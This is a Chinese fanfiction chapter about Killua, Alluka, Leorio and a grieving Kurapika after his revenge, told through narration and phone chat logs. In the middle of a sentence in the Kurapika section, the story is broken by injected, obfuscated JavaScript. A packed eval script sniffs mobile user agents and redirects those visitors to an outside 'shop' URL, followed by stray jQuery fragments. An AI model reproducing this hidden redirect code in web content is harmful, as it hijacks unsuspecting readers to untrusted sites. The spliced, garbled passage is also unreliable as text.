清晨的房间安静得过分。
窗帘缝隙里透进来的光很淡,像被水洗过一样,落在地板上,形成一条模糊的亮带。空气里还残留着昨晚烟花的火药味,混着一点若有若无的花香——像是勿忘我,又像是某种更遥远的东西。
床头柜上的夜灯依旧亮着,柔柔地晕开周围的一切。
奇犽是被亚路嘉的动静弄醒的。
他睁开眼的时候,亚路嘉正坐在床边,抱着膝盖,盯着地毯发呆。她的头发有点乱,眼睛红红的,像是刚哭过。
“亚路嘉?”奇犽撑起身子,声音还带着一点刚睡醒的沙哑。“怎么了?”
亚路嘉抬起头,怀里抱着透明的水袋,眼神里带着一点茫然。“哥哥,”她轻声说,“影子鱼……不见了。”
“可能是变成影子逃走了吧?”奇犽安抚道,顺手把垂到眼前的碎发撩到后面。“那个摊主不是说了嘛,可以触发回忆什么的,亚路嘉昨天晚上的梦说不定就是影子鱼变的。”
“真的吗?”亚路嘉捧着袋子,微微瞪大双眼,语气重新带着一丝喜意。
“哥哥什么时候骗过你了。”奇犽好笑道,顺手抄过床边的手机,轻点屏幕。界面还停留在与小杰的对话框处。
[Gong]:可能是因为念能力消失了的缘故,有点不习惯。——昨天
[Gong]:(微笑.jpg)——昨天
昨天晚上居然等小杰的消息等睡着了。果然和小杰说的一样是最近太累了吗?
奇犽去卫生间里冲了一把脸,冷水顺着下巴滴落。他看着镜子里的自己,银发蓝眼的少年也在镜子里看着他。比起第一次离家出走时,他的身形高了些,肩膀也更宽了。
从翘起的头发、滑到眉骨、再是双眼、鼻梁、嘴唇。最终,他的目光鬼使神差地落在了自己的左耳垂。
那里什么也没有。
不对。
应该挂着什么东西才对。
冰凉的、小巧的、如他那双眼睛一般剔透的颜色。
——那是酷拉皮卡的装扮。
——奇犽。
突然冒出的念头让他心头一惊。
左耳垂上红色的带着金色横杠和细链的菱形吊饰,这是酷拉皮卡窟卢塔一族独有的装扮。身为揍敌客一员的他怎么可能带着这种东西。
“我到底在想什么……”他低头自语,又掬起一捧水泼到脸上,水珠顺着耳畔的发丝滴入水台,随着坡度滑走。一抬头,又和镜子里的自己对视上。
蓝色的瞳孔,冰冷的、不含一丝感情的揍敌客杀手。
一滴眼角的水珠恰好从脸颊滚落,隐入衣领里。
像是在无声地哭泣。
他怎么可能会哭。
奇犽皱了皱眉,甩甩头,试图把那股奇怪的感觉赶走。
“哥哥……你好了吗?”亚路嘉敲了敲门。
“来了。”
滴答两声,屏幕亮起。
[Loradio]:最近有和酷拉皮卡这家伙联系吗?——现在
[Loradio]:这小子从船上回来之后就一直不回我的消息。——现在
[Loradio]:本来想找他好好聊聊,但猎人协会这群家伙实在是让人头大,完全让人脱不开身。——现在
[Loradio]:(火大.jpg)——现在
消息弹出的时候,奇犽正坐在飞艇上,窗外的山峦快速掠过他的侧脸,亚路嘉抱着玩偶靠在他的肩头昏昏欲睡。他看见消息笑了一声,瞥了一眼与亚路嘉的世界旅行清单,随后回复道:
[Evance]:天天操心会变老的哦、老婆婆大叔。——现在
[Evance]:我现在在优鲁彼岸大陆上空,快到撒黑鲁达联合国境内了。我记得酷拉皮卡隶属的诺斯拉□□就在友克鑫市吧?我和亚路嘉顺路去看看。——现在
[Evance]:你这个墨镜头像真有够土的、老婆婆大叔。——现在
[Loradio]:这是时尚!你这个小鬼懂什么!——现在
[Loradio]:(敲打.jpg)——现在
[Evance]:你怎么知道我有一个特别可爱的妹妹。——现在
[Evance]:(图片)
(图片)
(图片)
(图片)
(图片)
(图片)
(图片)
(图片)
[Evance]:妹妹太可爱了怎么办。急。——现在
按下发送键,飞艇恰好穿过一片云层,窗外的光线骤然被吞没,屏幕的光成了舱内唯一的光源,映着奇犽笑的脸,在瞬间的昏暗里,那笑容看上去有些模糊。
[Loradio]:?——现在
雷欧力欧不说话了,奇犽指尖无聊地点进其他页面,余光瞥见亚路嘉的脑袋在他肩上轻轻蹭了蹭,顺手把外套往她身上拢了拢。
飞艇的引擎声很轻,经过云层之后,棉花般轻盈的云絮擦着舷窗飘过,把阳光揉成细碎的光斑,落在亚路嘉的头顶。
就在这片静谧中,某个同样寂静的、遥远的房间景象,突兀地闪现在他脑海——一张桌子,一把椅子,空荡得令人心慌。
他甩甩头,将这莫名的联想驱散。目光重新落在屏幕上,却鬼使神差地点开了另一个沉寂已久的聊天窗口。
[Rioleo]:最近在哪发财呢,酷拉皮卡君。——十天前
[Rioleo]:猎人协会这群家伙一个个都不让人省心。——七天前
[Rioleo]:你什么时候退出协会了?怎么没有告诉我?——五天前
[Rioleo]:酷、拉、皮、卡、——五天前
[Rioleo]:为什么不理我?——三天前
[Rioleo]:。——两天前
屏幕里的消息已经被酷拉皮卡反反复复看了好几遍。聊天框里的信息被他几次修改,最后清除,对着空白的对话框发呆。
该说什么。
——他的复仇结束了?
——他杀了幻影旅团?
——族人的眼睛全被他找回来了?
他闭眼仰头靠在椅子的靠枕上,耀眼的金发遮住了他的眼眸。耳垂处的两支耳坠微微晃动,右手垂到一旁,上面的锁链发出了清脆的金属碰撞声。
36对火红的眼球静静悬浮在他的周围,像一团团燃烧过后的余烬,无声地灼烧着酷拉皮卡的内心。
那些开头与过程他已经不想回忆。
血液、嘶吼、执念、疯狂——
他几乎把自己的灵魂都献祭给了复仇。
结束这一切时,他终于如释重负的叹了一口气。
可那之后呢。
他该何去何从。
酷拉皮卡缓缓睁开眼,茶色的瞳孔在昏暗的房间里映出微弱的光。
房间很小,很空,也很安静,只有他的呼吸声在回荡。
明明是诺斯拉家族的首领,可除了一张床、一张桌子、一把椅子,一些止血用品。几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261309|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乎没有任何多余的东西。
像是临时租来,又像是刻意让自己保持“随时可以离开”的状态,不想给任何人添麻烦。
他抬手,轻轻触碰右胸口口袋里那枚坚硬的物什。
冰凉的触感传来,让他混乱的思绪稍微稳定了一点。
这是他与族人最后的联系。
是他身份的证明。
是他没有迷失在复仇里的唯一锚点。
可现在,这枚耳饰也变得有些陌生。
手机屏幕再次亮起,是雷欧力欧的消息。
[Rioleo]:酷拉皮卡,你到底在干什么?——现在
[Rioleo]:回答我。——现在
[Rioleo]:不要装死啊。——现在
[Rioleo]:你在哪里。——现在
[Rioleo]:我很担心你。——现在
酷拉皮卡盯着那行字看了很久。
他的手指悬在屏幕上,微微颤抖着。
可最终,他什么也没说。
输入框里的文字被他一个字一个字地删掉,只剩下一片空白。
就像他现在的心。
他把手机扣在桌面上,站起身,走到落地窗边。
窗外是友克鑫市的夜景,灯火辉煌,车水马龙。即使已经是深夜,这里依旧像一台永不停歇的机器,喧嚣而热闹。
这座城市曾经见证过他最痛苦的时刻,也见证过他最疯狂的执念。
可说到底也只是一座普通的近一线城市,甚至普通得让他感到无所适从。
他想念拂过脸畔带着青草气的风、山间湿润的雾气、清脆悦耳的鸟鸣。
他想念窟卢塔一族遥远的故乡。
他想念他们。
想到这,被绷带紧紧绑住的伤口又开始剧烈地疼起来,他的心脏也开始缓缓地一下又一下抽着。
他本该对此麻木。
那名为复仇的熊熊烈火早已将他焚烧殆尽。
“天上太阳,地上绿树……”他下意识默念起窟卢塔一族的祷词。
当熟悉的词句即将涌出喉咙时,一股巨大的陌生感却抢先攫住了他。这些血脉里的歌,如今却像是别人的经文。
酷拉皮卡深深地吸了一口气,冰冷的带着些尘土味的空气灌入肺里,试图压下那阵令他恐慌的疏离。
他将微凉的誓戒贴到苍白的唇边,声音干涩而低沉,执着地、一个字一个字地、将那镌刻在灵魂里的祷文挤出胸腔:
“天上太阳,地上绿树。
我们的身体诞生于大地,灵魂来自天上。
太阳与月亮照耀我们的四肢,绿地滋润我们的身体。
将此身交给吹过大地的风,感谢上天赐奇迹予窟卢塔族的土地。
愿我们的心灵永远安康,愿与所有同胞分享喜乐、分担悲伤。
请永远赞美窟卢塔族的人民。
让我们绯红色的火红眼为证……”
每念出一个词,都像是带着忐忑不安的心在确认自己尚未完全碎裂。他还能够呼吸、能够跳动、能够说话,还能够完整地行走于这世间。
他已经不会再愤怒了。
请让他这堆死灰平静、再平静一些吧。
然后就这样——活下去,直到被风扬起,回到梦想中的故土。
酷拉皮卡的声音在空旷的房间里回荡,孤独地坠入无边的夜色。
被放置一旁的手机无声弹出了一条消息。
[Killua]:你在哪。——现在